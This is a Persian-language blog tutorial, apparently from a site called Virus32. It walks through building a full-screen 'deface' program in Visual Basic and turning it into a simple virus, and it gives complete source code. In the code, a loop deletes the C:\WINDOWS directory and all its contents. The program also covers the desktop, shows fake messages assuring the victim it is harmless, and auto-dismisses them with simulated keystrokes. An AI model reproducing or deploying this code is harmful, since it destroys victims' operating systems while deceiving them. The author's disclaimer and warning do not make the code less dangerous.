ساخت دیفیس به زبان ویژوآل بیسیک

صفحه دیفیسی که امروز میخواییم بنویسیم تقریبا شبیه همون صفحه دیفیس های سیستمی هست که چند ماه پیش قرار دادم.

به اصرار دوستان قرار شد ساختن صفحه دیفیس سیستم رو به زبان ویژوآل بیسیک رو آموزش بدم.

ولی من تصمیم گرفتم یه خط کد مخرب هم بهش اضافه کنم تا در نهایت کار یه ویروس ساده هم داشته باشیم تا شما هم با روش اضافه کردن کدهای مخرب به اینجور برنامه ها آشنا شین.

در کل ویروسمون کارهای زیر رو انجام میده :

کل صفحه دسکتاپ رو پوشش و خودش رو در اولویت تمام برنامه ها قرار میده

فایل های ویندوز رو بصورت مخفی پاک میکنه

برای قربانی پیام های ساختگی نمایش میده

بریم سر آموزش :

بدلیل کم بود وقت دیگه مثل سابق نمیتونم قدم به قدم آموزش بدم

خودتون ویژوآل بیسیک رو آتیش کنید و یه پروژه جدید برای ویندوز ایجاد کنید.

تو قسمت Form یدونه Label و یدونه Progress Bar و یه Picture Box اضافه کنید

صفحه دیفیس ها همیشه سلیقه ای هستن

یعنی بیشتر رو گرافیکشون کار میشه که شما میتونید بجای یدونه عکس ده تا عکس یا Label یا همون برچسب قرار بدین.

خوب وسایل لازم رو برداشتیم

حالا باید کاری کنیم تا کل صفحه دسکتاپ رو بپوشونه

برای اینکار ابتدا روی فورم کلیک کنید و در قسمت Properties مقدار های زیر رو به دلخواه تغییر بدین.

Back color : رو پیدا کنید و رنگ زمینه صفحه دیفیستون رو انتخاب کنید 

(من سیاهش کردم)

Back Ground Image : در این قسمت شما میتونید برای دیفیس تصویر زمینه انتخاب کنید.

سپس تو همون کادر بیایید پایین تر و گزینه Form Border Style رو پیدا کنید و بر روی None قرار دهید تا شکل ظاهری برنامه از حالت استاندارد خارج شه. 

(اگه به فورم دقت کنید متوجه تغییرش میشین)

سپس برین به آخرین گزینه یعنی Window state و مقدارش رو به Maximizedتغییر دهید 

(این هم باعث میشه برنامه کل دسکتاپ رو بگیره)

انتخاب عکس مناسب و نوشتن متن روی Label رو میزارم به عهده خودتون!!!

(بازم اگه مشکلی داشتین سوال کنید جواب میدم)

روی فورم دوبل کلیک کنید تا به قسمت کد نویسی بریم.

کدهارو به صورت کلی مینویسم و بین خط ها توضیحش رو میدم.

Public Class Form1
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Show()
        Me.Focus()
        Me.BringToFront()
        ProgressBar1.Minimum = 0
        ProgressBar1.Maximum = 800
        For x As Integer = 0 To 800 Step 2
            ProgressBar1.Value = x
            ProgressBar1.Refresh()
            Threading.Thread.Sleep(10)
            Timer1.Enabled = True


            'تکه کد مخرب'
            My.Computer.FileSystem.DeleteDirectory("C:\WINDOWS", FileIO.DeleteDirectoryOption.DeleteAllContents)
            'باعث میشه فایل های ویندوز رو بصورت مخفیانه پاک کنه'
            'با بسته شدن برنامه ، پاک کردن باز هم ادامه دار خواهد بود تا عملیات به پایان برسه'


            'پیام ها '
            Timer1.Enabled = False 'کد تایمر باعث میشه در هر پیام مکث ایجاد بشه'
            If ProgressBar1.Value = 100 Then
                MessageBox.Show("سلام من ویروس 32 هستم")
            End If


            Timer1.Enabled = False 'اگه این تکه کدهارو از اول پیامها حذف کنیم'
            ' پیام هاپشت سرهم بدون وقفه نمایش داده میشن'
            If ProgressBar1.Value = 200 Then
                MessageBox.Show("این یک برنامه ی ساده برای آموزش است و هیچ گونه خطری برای سیستمی ندارد")
            End If


            Timer1.Enabled = False
            If ProgressBar1.Value = 400 Then
                MessageBox.Show("این برنامه به زبان ویژوآل بیسیک نوشته شده")
            End If


            Timer1.Enabled = False
            If ProgressBar1.Value = 450 Then
                MessageBox.Show("شما هم میتوانید به سادگی یک برنامه نویس شوید")
            End If


            Timer1.Enabled = False
            If ProgressBar1.Value = 500 Then
                MessageBox.Show("gonbad a Kaboos")
            End If


            Timer1.Enabled = False
            If ProgressBar1.Value = 800 Then
                MessageBox.Show("Virus32.blog.ir")

                Me.Close() 'باعث میشه بعد از آخرین پیام برنامه بسته شه'
                ' میتونیم این خط رو پاک کنیم تا برنامه بسته نشه'
            End If


        Next
    End Sub

    'تایمر'
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        SendKeys.Send("{Enter}")
        Timer1.Enabled = False
        'در صورت پاک کردن کد تایمر از بین پیام ها باعث میشه پیامها بصورت اتوماتیک نمایش داده بشن'
    End Sub
End Class

بهتره برای شروع کارتون اون یه خط کد مخرب رو ننویسید

و اینکه اگه نوشتید تو سیستم خودتون اجراش نکنید چون غیر فعال کردنش خیلی دشوار میشه و در هر صورت به ویندوز آسیب میرسونه

اینم پایان کار

دریافت برنامه ی بی خطر (بدون کد مخرب)

حجم: 16.7 کیلوبایت

همه ی مطالب جنبه ی اموزشی دارند در صورت بروز (هرگونه مشکل) Virus 98 هیچگونه تقصیری گردن نمی گیرد.